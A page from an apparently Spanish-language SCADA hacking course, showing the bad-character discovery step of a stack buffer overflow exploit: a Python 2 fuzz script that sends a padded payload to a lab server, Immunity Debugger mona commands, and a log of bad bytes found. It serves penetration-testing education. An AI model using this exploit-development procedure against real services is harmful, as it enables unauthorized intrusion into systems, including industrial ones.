👿
Hacking en SCADA - [CPICS]
Comprar cursoYouTubeTwitterLinkedIn
  • La Biblia del Hacking en ICS/SCADA
    • Advertencia
    • Conoce a tu academia
    • Conoce a tu instructor #1
    • Conoce a tu instructor #2
  • Fundamentos de SCADA
    • Introducción a SCADA
      • Unidades Terminales Remotas (RTU)
      • Interfaz Hombre-Máquina (HMI)
      • Comunicaciones de Red
      • Controladores Lógicos Programables (PLC)
    • IT vs OT
    • La importancia de conocer pentesting en IT para una auditoria en SCADA
    • Aplicaciones Típicas de SCADA en Diferentes Industrias
      • Industria de la Energía
      • Gestión de Agua y Aguas Residuales
      • Industria Manufacturera
      • Transporte
      • Petróleo y Gas
    • Arquitectura de Sistemas SCADA
      • Características de Diseño
      • Tecnologías Emergentes
    • Redes y Comunicaciones en SCADA
    • Diferencias entre SCADA, DCS y otros sistemas de control industrial
    • Protocolos comunes
      • Modbus
      • DNP3 (Distributed Network Protocol)
      • OPC (OLE for Process Control)
      • IEC 60870-5-104
    • Hardware Específico en SCADA
    • Software de Gestión y Monitorización en SCADA
    • Ciberseguridad en el Modelo de Purdue
  • Aspectos Legales y Éticos del Pentesting en SCADA
    • Normativas y estándares de cumplimiento en SCADA
    • ICS Cyber Kill Chain
    • MITRE en ICS
  • Vulnerabilidades en Sistemas SCADA
    • Tipos comunes de vulnerabilidades
      • Vulnerabilidades de Software y Firmware
      • Problemas de Configuración y Seguridad de Red
      • Falta de Autenticación y Control de Acceso
      • Vulnerabilidades de Comunicaciones
      • Ataques Físicos y de Ingeniería Social
      • Falta de Conciencia y Formación en Seguridad
    • Análisis de casos históricos de brechas de seguridad
      • Stuxnet (2010)
    • ERP como Vectores de ataque inicial
    • Herramientas automatizadas
  • Herramientas y técnicas
    • OSINT en SCADA
      • Utilizando Shodan para SCADA
    • Logins vulnerables a fuerza bruta
      • Hydra una gran herramienta
    • Profundizando en Modbus
      • Historia y evolucion de Modbus
      • Man-In-The-Middle
      • Modbus TLS posibles vulnerabilidades
    • Instalacion de ControlThings
    • Uso de Nmap en SCADA
    • Puertos comunes en ICS/SCADA Devices
    • Utilizando Nmap
      • DNS en SCADA
      • Enumeracion con s7-enumerate.nse
    • Enumeracion con plcscan
    • ARP-SCAN en SCADA
    • ARP Spoofing
      • Wireshark en SCADA
    • Introducción al Uso de Metasploit en SCADA
      • Auxiliary Module modbusdetect
      • Auxiliary Module modbus_findunitid
    • Uso de protocolos inseguros en SCADA
      • Uso de protocolos inseguros
    • Credenciales por defecto
      • ScadaBR - Default Credentials
    • Credenciales debiles o suceptibles a fuerza bruta
    • Python en SCADA
    • Inyeccion Maliciosa de comandos Modbus
      • Utilizando MBTGET
      • Utilizando Metasploit
        • Auxiliary Module modbus_client
      • Utilizando Python
    • Simulacion de StuxNet
      • OpenPLC Server: Subida de Archivo Malicioso .st para Controlar Parámetros de Planta
  • Buffer Overflow
    • Buffer Overflow en SCADA
    • Teoria del Buffer Overflow
      • Buffer Overflow en Windows
      • Buffer Overflow en Linux
    • Tipos de Protecciones contra Buffer Overflow
    • Explotacion del Buffer Overflow
      • Spiking
      • Fuzzing
      • Finding the Offset
      • Overwriting The EIP
      • Finding the Bad Charaters
      • Finding The Right Module
      • Generating Shellcode and Gaining Shell
  • Muchas Gracias
    • 🛡️ ¡Muchísimas Gracias por Participar! 🛡️
    • Importante
Con tecnología de GitBook
En esta página

¿Te fue útil?

  1. Buffer Overflow
  2. Explotacion del Buffer Overflow

Finding the Bad Charaters

Aqui debemos analizar los caracteres malos por medio del siguiente paso:

#!/usr/bin/python2.7
import sys, socket

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

shellcode = "A" * VALOR_DEL_OFFSET + "B" * 4 + badchars

while True:
        try:
                s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                s.connect(('10.10.10.111',3000))

                s.send(('FUNCION /.:/' + shellcode))
                s.close()

        except:
                print "Error connecting to server"
                sys.exit()

Clic derecho en el valor de ESP -> Follow i Dump

Clic derecho en el panel inferior Izq -> Apperance -> Font -> OEM fixed font

NO CERRAR! PARA SIGUIENTE PASO

Pasos Adicionales para comparación automática

!mona config -set workingfolder C:\Users\Gerh\Desktop\HACKER\
!mona bytearray -b "\x00"
!mona compare -f C:\Users\Gerh\Desktop\HACKER\bytearray.bin -a ESP

Es importante mencionar, que no se debe confiar en el resultado de comparacion con Mona ya que en ciertas ocaciones puede proporcionar falsos positivos y lo mejor es repetir este proceso y validar cada badChar detectado por Mona.

Se debe modificar el script de python y eliminar cada BadChar. Tambien se adiciona

!mona bytearray -b "\x00"
71423371 = ESP
00 11 12 40 41 5f 60 b8 b9 ee ef = Salieron Estos BadChars

=============================================================
!mona bytearray -b "\x00\x11" = Se agrega el segundo valor
00 11 40 41 5f 60 b8 b9 ee ef
0175FA30 = ESP

=============================================================
00 11 40 5f 60 b8 b9 ee ef = Luego de lo anterior, se encuentro el primer falso positivo el cual es 12.
!mona bytearray -b "\x00\x11\x40" = Se agrega el segundo valor x40 al comando de mona y al script de python
0177FA30 = ESP

=============================================================
00 11 40 5f b8 b9 ee ef = Se encontro otro badchar falso positivo es 60
!mona bytearray -b "\x00\x11\x40\x5f" = se adiciona el siguiente badchar 5f al comando de mona y al script de python
018AFA30

=============================================================
00 11 40 5f b8 ee ef = Se encontro otro badchar falso positivo es B9
!mona bytearray -b "\x00\x11\x40\x5f\xb8" = se adiciona el siguiente badchar b8 al comando de mona y al script de python
016DFA30

=============================================================
!mona bytearray -b "\x00\x11\x40\x5f\xb8\xee" = Se encontro otro badchar falso positivo es EF
No hay mas = Si no salen badchars quiere decir que todo esta correcto y hemos encontrado todos los badchars
0174FA30

!mona jmp -r esp -cpb "\x00\x11\x40\x5f\xb8\xee"
AnteriorOverwriting The EIPSiguienteFinding The Right Module

Última actualización hace 11 meses

¿Te fue útil?